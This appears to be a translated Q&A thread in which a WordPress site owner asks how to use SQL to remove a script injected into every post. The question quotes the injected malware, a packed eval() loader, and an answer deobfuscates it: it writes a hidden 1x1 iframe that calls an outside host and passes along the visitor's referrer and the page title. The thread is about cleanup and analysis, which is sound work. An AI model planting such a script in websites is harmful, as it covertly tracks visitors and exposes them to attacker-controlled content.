在MySQL中替换复杂的字符串

时间:2016-12-14 09:31:29

标签: php mysql sql wordpress

一些脚本小子攻击了我的wordpress网站并将此代码插入wp_posts中的每个post_content:

<!--844c7b74e31d727d5814a0ed667c0255--><script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(9(){2 d=3;2 4=1;2 5=1;2 t=d.a(\'b\');2 6=7.c(7.e()*f);2 0=\'g://h.i/j/k?\';0=0+\'l=\'+3.m;0=0+\'&n=\'+3.o;0=0+\'&r=\'+6;d.p(\'<8 q="s:u;v:w" 0="\'+0+\'" x="\'+4+\'" y="\'+5+\'"></8>\')})();',35,35,'src||var|document|razmw|razmh|id|Math|iframe|function|createElement|script|floor||random|9999|http|needalogo|net|rotation|3wBsvV|se_referrer|referrer|default_keyword|title|write|style||padding||0px|border|none|width|height'.split('|'),0,{}))</script>

我想在phpmyadmin中通过SQL查询(UPDATE xxx SET replace(...))删除它,但我没有运气转义字符串。

是否有任何方法/工具可以正确地转义此代码并将其从表中删除? THX

2 个答案:

答案 0 :(得分:0)

如果数据相同且在帖子的开头或帖子的末尾,您可以使用子字符串函数从这个垃圾中挑出数据

update table_name set column_name = SUBSTRING(column_name,garbage_length) where 1;

有关详细信息,请参阅手册 http://dev.mysql.com/doc/refman/5.7/en/string-functions.html#function_substring

你可以使用位置功能来指出垃圾的开始。 http://dev.mysql.com/doc/refman/5.7/en/string-functions.html#function_position

答案 1 :(得分:0)

只是查看代码,它似乎评估为: -

(function()
    {
    var d=document;
    var razmw=1;
    var razmh=1;
    var t=d.createElement('script');
    var id=Math.floor(Math.random()*9999);
    var src='http://needalogo.net/rotation/3wBsvV?';
    src=src+'se_referrer='+document.referrer;
    src=src+'&default_keyword='+document.title;
    src=src+'&r='+id;
    d.write('<iframe style="padding:0px;
    border:none" src="'+src+'" width="'+razmw+'" height="'+razmh+'"></iframe>')
}
)();

似乎是插入iframe(1px x 1px),其中包含从某个网页返回的源(传递了一些参数)。我的防火墙阻止了该网址。